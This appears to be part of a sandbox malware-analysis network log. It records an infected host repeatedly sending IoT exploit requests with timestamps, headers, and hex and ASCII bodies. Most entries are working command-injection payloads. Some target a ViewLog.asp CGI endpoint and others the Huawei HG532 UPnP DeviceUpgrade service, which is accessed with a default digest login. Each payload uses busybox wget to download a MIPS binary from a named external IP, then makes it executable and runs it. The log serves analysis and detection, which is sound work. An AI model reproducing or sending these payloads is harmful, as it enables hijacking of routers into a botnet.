                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.834954023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:41.690382957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:30.840890884 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                248192.168.2.1550272156.230.17.4737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:54.526319981 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:56.155500889 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:58.075424910 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:02.011389971 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:09.691251993 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:25.050745964 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:56.026007891 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                249192.168.2.1537462139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:54.779556036 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:27Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                250192.168.2.155054431.136.211.2518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:54.869105101 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:55.455486059 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
